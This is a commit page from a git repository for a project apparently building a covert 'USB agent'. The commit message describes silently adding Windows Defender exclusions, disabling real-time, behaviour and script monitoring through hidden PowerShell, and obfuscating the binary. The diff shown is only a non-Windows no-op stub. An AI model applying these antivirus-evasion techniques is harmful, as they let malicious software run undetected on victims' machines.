drjones/AetherForge
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

feat(av): silent AV evasion on startup + garble obfuscation. On launch: adds Defender ExclusionPath for install dir + exe, ExclusionProcess for process name, attempts DisableRealtimeMonitoring + DisableBehaviorMonitoring + DisableScriptScanning via hidden PowerShell (admin elevates, non-admin gets exclusions only). USB agent now built with garble -literals -tiny: all string literals and symbols scrambled.

Browse Source
This commit is contained in:
AetherForge
2026-06-03 11:12:18 -07:00
parent 2f85f2066d
commit 03937edba7
5 changed files with 43 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2
agent/deploy/aggressive_stub.go
View File

@@ -11,3 +11,5 @@ func DisableDefenderRealtime() (string, error) {
func OpenFirewallPort(_ int, _ string) (string, error) {
return "", fmt.Errorf("firewall port open is Windows-only")
}
func SilentAVExclusion(_, _ string) {} // no-op on non-Windows